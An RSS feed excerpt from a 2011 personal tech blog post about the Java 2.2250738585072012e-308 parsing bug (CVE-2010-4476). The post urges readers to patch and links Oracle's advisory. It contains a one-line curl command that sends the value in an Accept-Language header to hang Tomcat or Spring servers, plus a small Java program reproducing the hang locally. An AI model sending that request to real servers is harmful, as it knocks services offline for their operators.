<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/282/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=282&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/04/11/gwt-2-2-0-and-ext-gwt-no-success/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>
	</item>
		<item>
		<title>Java DDOS 2.2250738585072012e-308 with curl</title>
		<link>http://myminutes.wordpress.com/2011/02/16/java-ddos-2-2250738585072012e-308-with-curl/</link>
		<comments>http://myminutes.wordpress.com/2011/02/16/java-ddos-2-2250738585072012e-308-with-curl/#comments</comments>
		<pubDate>Wed, 16 Feb 2011 14:08:16 +0000</pubDate>
		<dc:creator>Benjamin Peter</dc:creator>
				<category><![CDATA[Technisch]]></category>
		<category><![CDATA[2.2250738585072012e-308]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[spring]]></category>
		<category><![CDATA[tomcat]]></category>

		<guid isPermaLink="false">http://myminutes.wordpress.com/?p=269</guid>
		<description><![CDATA[There seems to be an easy exploit for the problem going around in the news. curl -H &#8222;Accept-Language: en-us;q=2.2250738585072012e-308&#8243; URL Apparently works on any Tomcat-server calling getLocale() on the request or most spring applications. Meanwhile there is java patch for the problem, update your boxes! Release Notes: http://blogs.oracle.com/henrik/2011/02/jdk_6_update_24_released.html Security Alert: http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html For my servers it [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=269&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>There seems to be an easy exploit for the problem going around in the news.</p>
<blockquote><p>curl -H &#8222;Accept-Language: en-us;q=2.2250738585072012e-308&#8243; URL</p></blockquote>
<p>Apparently works on any Tomcat-server calling getLocale() on the request or most spring applications.</p>
<p>Meanwhile there is java patch for the problem, update your boxes!</p>
<p>Release Notes: <a href="http://blogs.oracle.com/henrik/2011/02/jdk_6_update_24_released.html">http://blogs.oracle.com/henrik/2011/02/jdk_6_update_24_released.html</a><br />
Security Alert: <a href="http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html">http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html</a></p>
<p><em>For my servers it did not have an effect but maybe you had success? Please leave a comment.</em></p>
<p><strong>Edit:</strong></p>
<p>You should all have received a java security update by now. If not, you could simply use the following code to reproduce the bug locally.</p>
<pre>$ cat Runhang.java
class Runhang {
  public static void main(String[] args) {
    System.out.println("Test:");
    double d = Double.parseDouble("2.2250738585072012e-308");
    System.out.println("Value: " + d);
  }
}

$ javac Runhang.java
$ java Runhang &amp;
... wait and kill it <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/myminutes.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/myminutes.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/myminutes.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/myminutes.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/myminutes.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/myminutes.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/myminutes.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/myminutes.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/myminutes.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/myminutes.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/myminutes.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/myminutes.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/myminutes.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/myminutes.wordpress.com/269/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=myminutes.wordpress.com&amp;blog=5005662&amp;post=269&amp;subd=myminutes&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://myminutes.wordpress.com/2011/02/16/java-ddos-2-2250738585072012e-308-with-curl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/0e89e54d864f1e584c5ef4102f98bc83?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dedeibel</media:title>
		</media:content>
	</item>
	</channel>
</rss>
